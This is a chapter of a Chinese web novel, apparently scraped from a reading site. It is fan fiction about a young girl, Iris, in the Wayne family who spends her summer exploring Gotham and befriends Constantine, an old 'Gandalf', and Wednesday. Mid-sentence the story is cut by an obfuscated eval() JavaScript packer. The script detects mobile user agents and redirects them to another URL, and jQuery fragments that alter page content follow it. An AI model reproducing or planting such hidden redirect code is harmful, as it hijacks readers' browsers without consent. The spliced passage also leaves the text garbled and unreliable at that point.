默认冷灰
24号文字
方正启体

4. 日常3

作者:今天不更的猫猫本书字数:K更新时间:
    艾瑞斯正处于放假时节。


    这意味着她有大把的时间——用她自己的话说——看电……不,是大把的时间出门玩。


    家里的大人们对此有不同看法。他们一致认为艾瑞斯过于沉迷电视了。她每天都守在她的电视前,比吃饭还守时。


    虽然这孩子没受过“时”,但她的守时程度足以让蝙蝠侠都自愧不如。


    “她早上八点三十五分起床,”阿尔弗雷德在家庭早餐时汇报,“八点四十分坐到电视机前,八点四十二分准时打开动画频道。”


    “这有什么问题吗?”布鲁斯问。


    “先生,现在放暑假。”阿福意味深长地看了他一眼,“她可以一直看到晚上。”


    布鲁斯沉默了。


    提姆低头喝咖啡,假装没听见。杰森在群里发了一百条“让她看我推荐的电影”,达米安冷哼一声继续吃早餐。


    艾瑞斯本人坐在她的儿童椅上,正用小勺子舀麦片吃,一脸无辜。


    “我没有一直看。”她为自己辩护,“我每天只看到晚上。”


    “那就是一直看。”迪克从门外探进头来,他昨晚刚回来过夜,“艾瑞斯,你知道什么是‘适度’吗?”


    艾瑞斯想了想。“不知道。”


    “……”


    当然,作为小孩子,艾瑞斯的电子设备使用时间是严格受限的。


    她每天只能玩两小时的平板,这是布鲁斯的底线。她的通讯器是一只衔着鸢尾花造型的手表,紫蓝色的钻石在阳光下闪闪发光,是阿福特意找人定制的——可以打电话、发消息,但不能玩游戏。


    所以艾瑞斯的一天是这样度过的:


    早上两小时动画片。


    中午吃饭。


    下午出门玩。


    晚上两小时动画片或电影。


    睡前故事。


    加起来正好四小时。不多不少,完美卡在阿福说的“健康范围”内。


    艾瑞斯觉得这个安排很合理。


    因为她是个闲不住的类型。


    作为幼儿园小孩,她是不存在作业之类的东西的。没有作业,没有补习班,没有任何需要完成的任务。这本来是很多小孩梦寐以求的生活,但艾瑞斯很快发现了一个问题——


    无聊的时候怎么办?


    无聊的时候,艾瑞斯会先在家里逛一圈,看看有没有能玩的事。


    第一站通常是书房。


    提姆在书房里处理公司文件,面前堆着小山一样的资料。艾瑞斯悄悄推开门,探进半个脑袋。


    提姆头也不抬。“我在工作。”


    “你在忙吗?”


    “很忙。”


    “有多忙?”


    提姆终于抬起头,对上那双蓝汪汪的眼睛。


    他很忙。真的很忙。韦恩集团的文件不会自己签字,股东大会的发言稿不会自己写,还有布鲁斯昨晚丢给他的三份蝙蝠侠相关调查报告需要整理。


    但他看着门口那颗小脑袋,忽然说不出“你出去吧”这样的话。


    “……你可以坐在那边看书画画。”他指了指角落里的沙发,“但是不能出声。”


    艾瑞斯点点头,轻手轻脚地走进来,爬上沙发,从旁边的书架上拿了一本图画书。


    她看了十分钟。


    然后她开始无聊了。


    她把书放下,看着提姆的背影。提姆在敲键盘,手指飞快,屏幕上跳出一行行字。


    艾瑞斯看了一会儿。


    “提姆。”


    “嗯?”


    “你在做什么?”


    “写报告。”


    “什么报告?”


    “关于公司下季度预算的报告。”


    “什么是预算?”


    提姆停下手,深吸一口气。


    “……就是计划怎么花钱。”


    “哦。”艾瑞斯想了想,“那你在花很多钱吗?”


    “不是花,是规划。”


    “哦。”


    安静了三十秒。


    “提姆。”


    “嗯?”


    “你写完报告可以陪我玩吗?”


    提姆转过身,看着她。


    艾瑞斯坐在沙发上,抱着膝盖,眼睛亮晶晶的。她真的很乖,没有吵闹,没有乱跑,只是坐在这里等着。


    提姆的心软了一下。


    “等我写完这一页。”他说。


    艾瑞斯笑了。


    第二站是花园。


    达米安在花园里训练。


    他十一岁,回到韦恩家已经一年,但刀法已经凌厉得像个小刺客。他运刀如风,剑光闪闪,每一招都精准有力——


    然后他停下来,转过身。


    艾瑞斯蹲在灌木丛边,静静地看着他。


    “你在看什么?”


    “看你。”艾瑞斯坦诚地说。


    达米安皱眉。“不要蹲在那里。危险。”


    “嗯…我觉得已经很远了。”艾瑞斯说,“你离我很远。”


    达米安深吸一口气。


    他确实砍不到她。但这不是重点。重点是——


    “你来这里做什么?”


    艾瑞斯站起来,拍拍膝盖上的土,走到他面前。


    “无聊。”


    达米安:“……”


    “你练完刀可以陪我玩吗?”


    达米安沉默了。


    他想起自己刚回到韦恩家时的样子。那时候他对所有人都不信任,对一切都保持警惕。布鲁斯说,慢慢来,不用着急。迪克说,我们是一家人。阿福说,韦恩庄园随时欢迎你。


    艾瑞斯什么都没说。她只是每次见到他都笑,每次接她都牵他的手,每次无聊的时候都来找他。


    “……我还要练一会儿。”他最后说。


    艾瑞斯点点头,从口袋里掏出一个小东西,放在旁边的石凳上。


    是一只小绵羊玩偶。


    是她喜欢的旧玩具,只是最普通的那种——手掌大小,绿色的,眼睛是两颗黑珠子,是艾瑞斯从家里某个角落翻出来的。


    “这个陪你。”她说。


    然后她跑走了。


    达米安看着那只小绵羊,沉默了很久。


    他继续练刀。


    达米安从没做过作业。


    他觉得那些问题太蠢了。简单的加减法,基础的单词拼写,无聊的常识问答——他八岁就能用阿拉伯语写论文,十岁已经精通多国语言,小学级别的作业对他来说简直是侮辱。所以他跳级了。


    但在艾瑞斯探究的眼神下,他会不情不愿地写一下。


    不是因为怕她。是因为没人希望艾瑞斯养成坏习惯。


    “达米安为什么不做作业?”艾瑞斯第一次看到他在书房发呆时问过。


    “因为他会。”布鲁斯回答。


    “那我也要会。”


    “嗯,你会的。”


    艾瑞斯想了想,没有继续追问。


    但她从此多了一个习惯:每次路过达米安的书桌,都要看一眼他在做什么。


    如果他在写作业,她就点点头,走开。


    如果他在发呆,她就歪着头,用那种探究的眼神看着他,直到他受不了,拿起笔装模作样地写几个字。


    做作业什么过于枯燥,所以艾瑞斯不会浪费时间陪达米安在写作业的时候。


    不过达米安可以收获艾瑞斯的一只小玩偶在书桌上陪他。


    这是艾瑞斯的习惯,要是突然走开感觉是抛弃一样。


    达米安的书桌上现在有三颗玻璃珠、两颗糖果、一只绵羊玩偶。


    他从来没扔过。


    ——


    关于艾瑞斯的外出,布鲁斯一开始是安排去游乐园的。


    他觉得所有小孩都喜欢游乐园。旋转木马,摩天轮,棉花糖,彩色气球——多好啊,多适合一个四岁的小女孩啊。


    但艾瑞斯并不喜欢游乐园。


    第一次去的时候,她坐了旋转木马,表情平淡。第二次去的时候,她玩了滑梯,没什么反应。第三次去的时候,她站在游乐园门口,仰头看着那些五颜六色的设施,然后问布鲁斯:


    “爸爸,我们可以去别的地方吗?”


    “你想去哪?”


    艾瑞斯想了想,指向游乐园外面那条普通的街道。


    “那里。”


    布鲁斯愣了一下。“那里有什么?”


    “不知道。”艾瑞斯说,“所以想去看看。”


    布鲁斯沉默了。


    他带她去了那条街。


    艾瑞斯走得很慢。她看路边的橱窗,看地上的砖缝,看墙上贴的海报,看行人匆匆走过的脚。她看到一只猫从巷子里窜出来,追着看它跑远。她看到一只鸽子在广场上啄食,蹲下来看了五分钟。


    那天他们在外面逛了三个小时。


    艾瑞斯一次都没说累。


    从那以后,艾瑞斯的“外出”就变成了“逛街”。


    她很喜欢逛街。无论是在哥谭的哪——商业街,老城区,码头边,甚至那些看起来有点破旧的巷子——她都兴致勃勃。她想要探索这个城市。


    她像是一只小精灵,在灰扑扑的城市里欢悦着蹦跳。


    而且按艾瑞斯的精力,还真不是一般小孩能达到的。


    阿福有一次陪她出门,原本计划走一个小时,结果走了三个小时。艾瑞斯一直在前面蹦蹦跳跳,一会儿看橱窗,一会儿追鸽子,一会儿蹲在地上研究蚂蚁。阿福在后面跟着,最后不得不承认:他累了,而艾瑞斯还在跑。


    “小姐,”他礼貌地问,“您不累吗?”


    “不累啊。”艾瑞斯回头看他,“阿福累了吗?”


    阿福沉默了一秒。


    “……有一点。”


    艾瑞斯立刻跑回来,牵住他的手,指着前面的长椅。“那我们坐一会儿。”


    阿福坐下来,看着身边的小女孩。她正仰着脸晒太阳,眯着眼睛,嘴角弯弯的。


    他想:这个小女孩以后可能会跑遍整个哥谭。


    艾瑞斯的每次闲逛都像是侦探一样,仔仔细细地不放过每一个角落。


    她看橱窗里的摆设,研究哪家店换了新的装饰。她看墙上的涂鸦,猜测画画的人是什么心情。她看地上的井盖,发现每个井盖的花纹都不一样。她看路边的信箱,注意到有的锈了,有的新刷了漆。


    哥谭在她眼里不是一个危险的城市,而是一本巨大的图画书,每一页都有新的东西。


    令人高兴的是,艾瑞斯在此期间找到了朋友。


    不是幼儿园那种“今天一起玩明天就忘”的朋友,是真正的、可以一起玩的朋友。


    三十五岁的康斯坦丁是第一个。


    那天艾瑞斯跟着阿福路过一条巷子,看见一个穿风衣的男人靠在墙边抽烟。他的脸有点憔悴,眼神有点疲惫,整个人看起来像是刚从什么麻烦里脱身。


    艾瑞斯停下来看他。


    康斯坦丁察觉到视线,转过头,对上一双蓝汪汪的眼睛。


    “……看什么?”他问。


    “你看起来累了。”艾瑞斯说。


    康斯坦丁愣了一下。


    “累了就坐下休息。”艾瑞斯指了指旁边的台阶,“那里可以坐。”


    然后她就走了。


    康斯坦丁站在原地,半天没动。


    后来他告诉别人,那个小女孩很奇怪,不烦人,就是怪。她说的话好像没什么特别,但就是让他感觉身体放松了不少。


    再后来,他在街上又遇到她几次。有时候她在看蚂蚁,有时候她在追鸽子,有时候就只是走着走着,忽然停下来,指着某个方向说“那里有只猫”。她从来不缠着他问东问西,也不害怕他的表情,就像遇到一个普通的邻居一样,点点头,笑笑,然后继续走自己的路。


    康斯坦丁发现自己开始习惯在街上看看那个小小的身影。


    ——


    自称甘道夫的老爷爷是第二个。


    他看起来七八十岁,白胡子很长,穿着旧旧的灰色长袍,经常坐在公园的长椅上晒太阳。艾瑞斯第一次见到他时,他正在喂鸽子。


    艾瑞斯在他旁边坐下来。


    老爷爷看了她一眼,继续喂鸽子。


    “你叫什么名字?”艾瑞斯问。


    “甘道夫。”老爷爷说。


    艾瑞斯想了想。“那是书里的人。”


    老爷爷笑了。“你怎么知道?”


    “阿福给我读过。”艾瑞斯说,“《霍比特人》。”


    老爷爷点点头。“那你觉得我是真的甘道夫吗?”


    艾瑞斯认真地看着他,看了很久。


    “不是。”她说,“但是你很像。”


    老爷爷又笑了。


    从那以后,艾瑞斯每次路过公园,都会去找他坐一会儿。他给她讲故事——不是《霍比特人》里的故事,是他自己编的故事,关于一个白胡子巫师到处旅行的故事。艾瑞斯听得津津有味,有时候还会问问题,比如“巫师吃饭吗”“巫师睡觉吗”“巫师有朋友吗”。


    老爷爷每次都认真回答。


    刚搬家来哥谭的星期三,是第三个。


    也是艾瑞斯玩得最好的一个。


    那天下午,艾瑞斯跟着杰森出门。


    杰森难得回哥谭,自告奋勇要带她出去玩。他本想带她去吃冰淇淋,但艾瑞斯指了指另一个方向。


    “那边。”


    “那边有什么?”


    “不知道。”艾瑞斯说,“没去过。”


    杰森只好跟着她走。


    他们穿过两条街,绕过一个小广场,最后来到一排联排别墅前面。其中一栋门口停着搬家公司的车,几个工人正往里抬箱子。


    艾瑞斯停下来看。


    一个穿黑色裙子的小女孩站在门廊上,面无表情地看着工人们搬东西。她的皮肤很白,头发很黑,扎着两条辫子,眼神冷冷的,和周围的一切格格不入。


    她看起来和艾瑞斯差不多大。


    艾瑞斯看着她。


    她看着艾瑞斯。


    杰森站在旁边,忽然感觉空气有点冷。


    “……要不我们去吃冰淇淋?”他试探着问。


    艾瑞斯没理他。她走上台阶,站在那个黑裙子小女孩面前。


    “你叫什么名字?”


    小女孩看着她,眼神没有变化。


    “星期三。”


    “那是今天吗?”


    “不是。是我的名字。”


    艾瑞斯想了想。“你刚搬来?”


    “嗯。”


    “你认识这里的人吗?”


    “不认识。”


    “你想认识吗?”


    星期三沉默了一下。


    “不想。”她说,“他们都很无聊。”


    艾瑞斯笑了。


    “那你想认识不无聊的人吗?”


    星期三看着她。


    艾瑞斯站在阳光下,浅灰黑的头发有点乱,蓝汪汪的眼睛弯成两道月牙,碎花裙上沾了一点不知道哪来的灰。她笑得很开心,好像遇到了什么有趣的事。


    星期三看了她三秒。


    “……也许。”她说。


    那天下午,杰森一个人站在门廊外,看着两个小女孩隔着铁门说话。


    他不知道她们在说什么。他只看见艾瑞斯一直在笑,星期三的表情从冷淡变成面无表情——在星期三那里,这已经是“友好”的表达了。


    半个小时后,艾瑞斯跑回来,牵起他的手。


    “走吧。”


    “你们聊完了?”


    “嗯。”艾瑞斯点点头,“明天还来。”


    杰森低头看她。“你交到朋友了?”


    艾瑞斯想了想,笑了。


    “可能吧。”


    第二天,艾瑞斯准时出现在那栋联排别墅门口。


    星期三已经在等她了。


    她今天换了一条黑色的裙子,头发还是扎成两条辫子,脸上依然没什么表情。但她站在门口,不是站在门廊上,而是站在台阶下面。


    “我以为你不会来。”星期三说。


    “为什么?”


    “很多人都这么说。”


    艾瑞斯歪着头想了想。“那是他们。不是我。”


    星期三看着她,没有说话。


    “今天去哪玩?”艾瑞斯问。


    星期三沉默了一下。


    “我不知道这里有什么。”


    “那我带你去。”艾瑞斯伸出手,“我认识路。”


    星期三看着那只伸过来的小手。


    很小,软软的,指甲剪得很整齐,手背上还有一个小小的疤,不知道是哪里磕的。


    她犹豫了一秒。


    然后她伸出手,握住了那只手。


    艾瑞斯带着星期三走遍了附近的街区。


    她给她看自己发现的宝藏:墙角有一窝小猫,是流浪猫妈妈生的,现在差不多两个月大;巷子里有一面墙画满了涂鸦,每周都会换新的;面包店门口有一只胖猫,每天都在那里晒太阳,从来不挪地方;公园里有一个老爷爷,看起来像甘道夫,会讲很多故事。


    星期三一路跟着她,不怎么说话,但每到一个地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244855|197845||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    方都会停下来认真看。


    她看小猫的时候,蹲了很久。


    “你喜欢猫?”艾瑞斯问。


    “嗯。”


    “那你也可以养一只。”


    星期三摇摇头。“家里不让。”


    “为什么?”


    “因为家里已经养了手。”


    艾瑞斯想了想。“那你可以在外面养。”


    “外面养?”


    “就像它们。”艾瑞斯指了指小猫,“它们住在外面,但是你可以来看它们。这样就不算在家里养了。”


    星期三眨眨眼,好像第一次听到这个思路。


    “……可以这样吗?”


    “为什么不可以?”艾瑞斯理直气壮,“我就这样养鳄鱼的。”


    星期三看着她。“你家养鳄鱼?”


    “没有。”艾瑞斯坦诚地说,“但是我有一屋子鳄鱼玩偶。我试图在外面养它们,杰森正在帮我”


    星期三沉默了一下。


    那是星期三第一次笑。


    不是大笑,只是嘴角微微弯了一下,很快又收回去了。但艾瑞斯看到了。


    “你笑了。”她说。


    星期三恢复面无表情。“没有。”


    “有。”


    “没有。”


    “有。”艾瑞斯笑了,“你笑起来好看。”


    星期三别过脸,耳朵尖有点红。


    ——


    接下来的日子,艾瑞斯每天都去找星期三。


    她们一起探索哥谭的街道,一起看小猫长大,一起听甘道夫讲故事,一起蹲在路边观察蚂蚁搬家。星期三话不多,但艾瑞斯不在意——她本来就很习惯和自己玩,现在多了个人在旁边,也挺好的。


    星期三的妈妈是个看起来很严肃的女人,穿着黑色的长裙,头发盘得很高,眼神很冷。她第一次见到艾瑞斯时,站在门廊上看了很久。


    艾瑞斯仰起头,对她挥挥手。


    “阿姨好。”


    女人没有说话。


    星期三站在旁边,有点紧张。


    过了一会儿,女人开口了:“你是隔壁街区的?”


    “我是韦恩家的。”艾瑞斯说,“住在那边的大房子里。”


    女人的眉毛微微动了一下。


    “布鲁斯·韦恩的女儿?”


    “嗯。”


    女人又沉默了一会儿。


    然后她点点头,转身进去了。


    星期三松了一口气。


    “你妈妈不喜欢我?”艾瑞斯问。


    “她不喜欢任何人。”星期三说。


    “那她喜欢你吗?”


    星期三想了想。“她是我妈妈。”


    艾瑞斯点点头,好像懂了,又好像没懂。


    “那她对你挺好的。”她说。


    星期三看着她。“你怎么知道?”


    “因为你是她女儿啊。”艾瑞斯理所当然地说,“我爸爸也对我好。虽然他很忙,有时候不回家,但他对我好。”


    星期三沉默了一下。


    “不一样的。”她低声说。


    艾瑞斯没有追问。


    她只是牵起星期三的手。


    “走吧,今天去看小猫。”


    一个月后,星期三的房间里多了一只鳄鱼玩偶。


    是艾瑞斯送的。


    不是后来那一屋子会叫的鳄鱼,只是最普通的一种——手掌大小,绿色的,眼睛是两颗黑珠子。


    “这是什么?”星期三问。


    “鳄鱼。”艾瑞斯说,“我的。”


    “你的?”


    “嗯。我的鳄鱼分你一只。”艾瑞斯认真地说,“这样它就可以陪你睡觉了。”


    星期三看着那只小鳄鱼。


    它有点丑。绿得不均匀,眼睛一大一小,嘴巴缝得有点歪,一看就是手工做的——而且是小孩做的手工。


    “你自己做的?”


    “嗯。阿福帮我缝的,但是形状是我画的。”


    星期三沉默了一下。


    她把小鳄鱼放在床头,和自己那些黑色的娃娃摆在一起。


    “它叫什么?”


    艾瑞斯想了想。“叫……星期三吧。”


    星期三看着她。“它是绿的。”


    “那你给它起个名字。”


    星期三想了一会儿。


    “叫……艾瑞斯。”她说。


    艾瑞斯眨眨眼。


    “那是我的名字。”


    “嗯。”星期三说,“这样它就像你一样,可以陪我。”


    艾瑞斯愣了一下,然后笑了。


    “好。”她说,“那就叫艾瑞斯。”


    那天晚上,布鲁斯回到家,发现艾瑞斯坐在客厅里,怀里抱着aaa布鲁斯,眼睛亮晶晶的。


    “爸爸。”


    “嗯?”


    “我今天有朋友了。”


    布鲁斯停下来,看着她。


    “是那个叫星期三的女孩?”


    “嗯。”艾瑞斯点点头,“她今天笑了。还给我起了名字。给我的鳄鱼。”


    布鲁斯弯起嘴角。


    “那很好。”


    “嗯。”艾瑞斯说,“她不喜欢说话,但是她喜欢小猫,喜欢听甘道夫讲故事,喜欢看我画的鳄鱼。她还说,明天要带我认识她的宠物。”


    “她有宠物?”


    “有。她说叫什么东西……”艾瑞斯歪着头想了想,“好像是……叫什么什么手?”


    布鲁斯的表情顿了一下。


    “……什么东西的手?”


    “不知道。”艾瑞斯说,“明天就知道了。”


    布鲁斯沉默了几秒。


    他决定明天让阿福陪她去。


    第二天,艾瑞斯准时出现在星期三家门口。


    星期三带她上楼,走进自己的房间。


    房间是黑色的。黑色的墙壁,黑色的窗帘,黑色的床单,黑色的娃娃。唯一的亮色是床头那只绿色的小鳄鱼,和角落里一个玻璃缸。


    玻璃缸里有一只手。


    白色的,有五根手指,静静地躺在沙子上。


    艾瑞斯凑过去看。


    “这是什么东西?”


    “手。”星期三说。


    “什么的手?”


    “不知道。妈妈给我的。”


    艾瑞斯看着那只手,看了很久。


    “它会动吗?”


    “会。”


    “它有名字吗?”


    “叫东西。”


    艾瑞斯想了想。


    “那你明天可以带它出来玩吗?”


    星期三愣了一下。“……你想带它出来玩?”


    “嗯。”艾瑞斯点点头,“它一直待在缸里,会不会无聊?”


    星期三沉默了。


    她第一次遇到有人关心她的手无不无聊。


    “……也许吧。”她说。


    后来,那只叫“东西”的手,成了艾瑞斯的第三个朋友。


    虽然它不会说话,不会动,只能躺在玻璃缸里。但艾瑞斯每次来都会跟它打招呼,跟它讲自己今天看到了什么,跟它说星期三今天笑了几次。


    星期三有时候会想:这个女孩真的很奇怪。


    但她没有说出来。


    她只是每天等在门口,等她来。


    暑假结束的时候,艾瑞斯在幼儿园的“我的朋友”主题画展上,画了三幅画。


    一幅是一个穿风衣的男人,站在巷子里抽烟。


    一幅是一个白胡子老爷爷,坐在长椅上喂鸽子。


    一幅是一个穿黑裙子的小女孩,站在门廊上,旁边放着一只玻璃缸。


    老师问她:“这些是你的朋友吗?”


    艾瑞斯点点头。


    “他们多大呀?”


    艾瑞斯想了想。


    “这个三十五岁。这个七八十岁。这个和我一样大。”她指了指那幅玻璃缸,“这个……不知道。”


    老师看着那幅画,沉默了一会儿。


    “……这是什么?”


    “手。”艾瑞斯说,“它叫东西。”


    老师没有再问。


    那天下午,达米安来接艾瑞斯放学。


    他把那幅画拿起来看了看,又放下。


    “…抽象派。”


    艾瑞斯没生气。她牵起他的手,笑嘻嘻的。


    “带我回家吧,哥哥!”


    达米安低头看她。


    她笑得很开心,眼睛弯弯的,露出缺了一颗的门牙。


    他握紧那只小手。


    “走吧。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)